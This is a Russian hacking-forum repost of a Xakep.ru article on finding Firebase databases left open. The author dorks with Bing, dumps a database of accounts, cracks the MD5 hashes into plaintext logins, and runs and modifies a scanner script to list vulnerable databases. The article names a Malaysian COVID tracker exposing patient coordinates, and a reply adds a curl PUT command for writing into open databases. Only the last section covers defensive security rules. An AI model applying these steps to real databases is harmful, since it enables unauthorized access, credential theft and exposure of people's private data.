• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пешком по Firebase. Находим открытые базы данных, которые прячет Google

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Облачная база данных — штука удобная: считай, вся работа по деплою и настройке сервера за тебя уже сделана, осталось только пользоваться! Админов это расслабляет настолько, что такие базы часто остаются незащищенными и ищутся с помощью поисковиков. Один нюанс — этим поисковиком не может быть Google!

Firebase — это облачная платформа, которую разработала компания Envolve в 2011 году. Изначально это была база данных для приложений‑чатов, но позже ее полюбили разработчики многопользовательских онлайновых игр. Это подвигло основателей разделить Firebase на две части: модуль чата и модуль игрового фреймворка.

Два года спустя, в 2014 году, Google приобрела Firebase и продолжила развивать. Программные интерфейсы для этой базы данных есть для множества платформ и языков программирования.

С технической точки зрения Firebase — крутая и удобная штука. Кажется, что ничего докручивать и допиливать здесь не нужно. Но безопасная настройка облачной базе таки нужна, и многие владельцы об этом забывают, чересчур расслабившись. Настолько, что забывают о простейшей вещи — аутентификации.


ИЩЕМ ОТКРЫТЫЕ БАЗЫ ДАННЫХ​

Получается, что в интернете масса не закрытых паролем баз данных, а это легкая добыча для злоумышленников. Только вот взять и нагуглить их не получится, потому что в Google решили, что эту проблему можно решить, просто исключив эти базы из поисковой выдачи. Ловко! Но крайне ненадежно.

Поиск Google по запросу Firebase
Поиск Google по запросу Firebase
Ничто не мешает нам воспользоваться другим поисковиком — например, Bing или DuckDuckGo. Они выдают уже намного больше полезной информации.

Поисковый запрос в Bing и DuckDuckGo

Поисковый запрос в Bing и DuckDuckGo

Что можно сделать дальше, после того как найдены домены с уязвимыми базами? Открываем любую ссылку — например, https://hacker-news.firebaseio.com/v0/topstories.json. Информация о ней бесполезна, но если убрать из ссылки название таблицы topstories и оставить только .json, то можно проверить, защищена база или нет. В этом случае результат выглядит вот так:
Код:
{
  "error" : "Permission denied"
}
Все верно, лично я бы знатно удивился, если бы владельцы этого сайта допустили настолько вопиющую оплошность. Но некоторые ее таки допускают. Минут десять перебора ссылок, и поиск увенчается успехом.
Найденная открытая база данных

Найденная открытая база данных

Я нашел что‑то более интересное — учетки с хешами паролей. Выбрать их из файла несложно простым скриптом на Python или утилитой jq.

При помощи HashID определяем тип хешей (это был MD5) и загоняем в hashcat. Если нет достаточно мощного железа, можно воспользоваться онлайновым сервисом — тулза FindMyHash автоматически их подбирает. Все эти утилиты предустановлены в Kali Linux.

Взлом пароля через FindMyHash

Взлом пароля через FindMyHash

Ждем десять минут, и перед нами логины и пароли в открытом виде.

Найденная база с открытыми паролями в открытом виде

Найденная база с открытыми паролями в открытом виде

АВТОМАТИЗАЦИЯ​

Сидеть, менять поисковики и перебирать все URL вручную очень нудно. Слишком часто видишь «error : Permission denied». Значит, пора автоматизировать! Программировать, правда, не потребуется, потому что это уже сделали до нас. Возьмем, к примеру, скрипт за авторством Францеска Эрреры.

Скрипт сам подбирает URL и ищет уязвимые базы данных.

Качаем его и устанавливаем зависимости:
Код:
git clone https://github.com/Turr0n/firebase.git
cd firebase
pip install -r requirements.txt
И запускаем:
Код:
python3 firebase.py -p 4  -c 150 –dnsdumpster
Ключи:
  • p — указывает количество потоков (по умолчанию 1, максимум 4);
  • dnsdumpster — генерирует URL самостоятельно;
  • с — какое количество доменов генерировать.
Да, скрипт умеет генерировать ссылки самостоятельно. Точнее, делает это не сам, а обращается за помощью к утилите DNSdumpster.

Результат работы скрипта

Результат работы скрипта

По результату видно, что из найденных баз:
  • 37 урлов «битые» или больше не существуют;
  • 171 база имеет аутентификацию при обращении к данным и защищена;
  • одна база с подозрением на уязвимость;
  • 25 баз не защищены или уязвимы.
Можно скормить скрипту и свой список. В нем должны быть только поддомены третьего уровня. Например, ты делаешь вот такой входной список:
Код:
xxx
yyy
zzz
Тогда скрипт проверит вот эти URL:
Код:
https://xxx.firebaseio.com
https://yyy.firebaseio.com
https://zzz.firebaseio.com

В поисках поддоменов​

Чтобы получить наиболее эффективный список, можно воспользоваться скриптом sublist3r, который использует разные техники поиска и OSINT, чтобы подобрать наиболее правдоподобные варианты.

Запускаем:
Код:
python3 sublist3r.py -d firebaseio.com
И на выходе получаем около 650 доменов. Работает очень быстро.

Поиск доменов программой sublist3r

Поиск доменов программой sublist3r

Еще одна утилита для генерации доменов — subbrute. Она выдала мне в районе 100 поддоменов, но работала 30–40 минут.

Поиск поддоменов программой subbrute

Поиск поддоменов программой subbrute

Censys-subdomain-finder, на который я возлагал большие надежды, выдал всего семь доменов. К слову, и сам сервис выдал немного — 25 урлов.

Все перечисленные утилиты не входят в состав дистрибутива Kali Linux, их пришлось качать отдельно.

Из онлайновых сервисов можно воспользоваться nmmapper, DNSdumpster, Pentest-Tools.

Если все еще мало, можно задействовать знания о том, что настройки интеграции происходят в файле google-services.json, и поискать в гите запросом site:github.com google-services.json. Этот вариант идет вразрез со словом «автоматизация», зато можно докопаться до уникальных баз.

Ковыряем и дописываем скрипт​

Теперь мы вооружены добротным набором урлов и знаем, что какие‑то из них могут быть уязвимы. Даже можем запустить скрипт и проверить количество неверно настроенных баз из нашего списка. Но цель в таких случаях — не собрать статистику, а получить уязвимые цели. Поэтому откроем код скрипта и слегка поправим.

Посмотри вот на этот кусок кода:
Код:
urls = set()
with open(args_.list, 'r') as f:
  [urls.add('https://{}.firebaseio.com/.json'.format(line.rstrip())) for line in f]
Из него понятно, как формируется полный адрес. А в конце формируется отчет:
Код:
print('404 DBs:                 {}'.format(l['-2']))
print('Secure DBs:              {}'.format(l['-1']))
print('Possible vulnerable DBs: {}'.format(l['0']))
print('Vulnerable DBs:          {}'.format(l['1']))
Кусок кода с проверкой я приводить не буду. Там нет ничего любопытного, мне нужно было найти само присвоение. И вот оно:
Код:
with open(args_.fn, 'w') as f:
  json.dump(loot, f)
l = {'1':0, '0':0, '-1':0, '-2':0}
for result in loot:
  l[str(result['status'])] += 1
Вот в этом месте я создаю свой массив по статусу 1. Так как я еще не понимаю, чем его заполнять, записываю все подряд. Получилось примерно следующее:
Код:
l = {'1':0, '0':0, '-1':0, '-2':0}
Vulnerable = []
for result in loot:
  l[str(result['status'])] += 1
  if str(result['status']) == '1':
    Vulnerable.append(result)
И в конце добавляю вывод результата в консоль:
Код:
print('404 DBs:                 {}'.format(l['-2']))
print('Secure DBs:              {}'.format(l['-1']))
print('Possible vulnerable DBs: {}'.format(l['0']))
print('Vulnerable DBs:          {}'.format(l['1']))
print(Vulnerable)
После запуска вижу такую картину.

Работа программы после вмешательства

Работа программы после вмешательства

Мне высыпалось все, что хранилось в базах. Зато теперь я знаю, что записывать в Vulnerable. Правим код, как надо:
Код:
l = {'1':0, '0':0, '-1':0, '-2':0}
Vulnerable = []
for result in loot:
  l[str(result['status'])] += 1
  if str(result['status']) == '1':
    Vulnerable.append(result['url'])
...
print('404 DBs:                 {}'.format(l['-2']))
print('Secure DBs:              {}'.format(l['-1']))
print('Possible vulnerable DBs: {}'.format(l['0']))
print('Vulnerable DBs:          {}'.format(l['1']))
print(Vulnerable)
На этот раз при запуске видим то, что было нужно, — список уязвимых баз.
Работа скрипта после хирургического вмешательства
Работа скрипта после хирургического вмешательства

Особенно меня заинтересовала вот эта ссылка: https://covid-19-tracker-e76ca.firebaseio.com/.json. В Малайзии так спешили отслеживать перемещения больных ковидом, что не поставили пароль на базу данных с их координатами...

КАК НЕ ДОПУСТИТЬ УТЕЧКУ​

Назвать эту проблему уязвимостью — некоторое преувеличение. Все сводится к тому, что Google позволяет открыть доступ к содержимому базы всем неавторизованным пользователям, и некоторые разработчики так и поступают.

Поэтому, чтобы защититься, достаточно прописать политики безопасности Firebase. Google предлагает придерживаться следующих правил.

Даже во время разработки (на тесте и на stage) не стоит открывать доступ ко всем данным в Firebase неавторизованным пользователям, но есть возможность открыть их при авторизации:
Код:
service cloud.firestore {
  match /databases/{database}/documents {
    match /{document=**} {
      allow read, write: if request.auth != null;
    }
  }
}
Это правило необходимо, когда нескольким пользователям нужно работать с одним контентом.

Следующее правило дает доступ к данным только владельцам этих данных. Остальные пользователи не смогут их видеть или обрабатывать:
Код:
service cloud.firestore {
  match /databases/{database}/documents {
    // Allow only authenticated content owners access
    match /some_collection/{userId}/{documents=**} {
      allow read, write: if request.auth != null && request.auth.uid == userId
    }
  }
}
И третье правило устанавливает доступ на чтение некоторых данных некоторым пользователям, но редактирование — только его владельцу:
Код:
service cloud.firestore {
  match /databases/{database}/documents {
    // For attribute-based access control, Check a boolean `admin` attribute
    allow write: if get(/databases/$(database)/documents/users/$(request.auth.uid)).data.admin == true;
    allow read: true;
    // Alterntatively, for role-based access, assign specific roles to users
    match /some_collection/{document} {
      allow read: if get(/databases/$(database)/documents/users/$(request.auth.uid)).data.role == "Reader"
      allow write: if get(/databases/$(database)/documents/users/$(request.auth.uid)).data.role == "Writer"
    }
  }
}
Более подробные сведения о безопасности аутентификации и контроле доступа можно найти в документации Firebase.

ЗАКЛЮЧЕНИЕ​

Итак, мы рассмотрели, как происходит утечка данных, разобрались с поиском уязвимых URL, научились автоматизировать процесс и узнали, как избежать этой проблемы.

В документации по безопасности Firebase приведены и сами правила, и разные способы защитить данные. Не стоит ими пренебрегать, перекладывая ответственность на какие‑нибудь гейты или прокси‑серверы. Адрес базы может быть обнаружен.

Автор 8bit
источник хакер.ру
 
Из статьи это неочевидно, поэтому дополню. Если найдена открытая база, то данные из нее можно не только читать, но еще и записывать:
Код:
curl -X PUT -d '{ "first": "Jack", "last": "Sparrow" }' \
  'https://[PROJECT_ID].firebaseio.com/users/jack/name.json'
Подробное описание REST API для Firebase лежит здесь.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх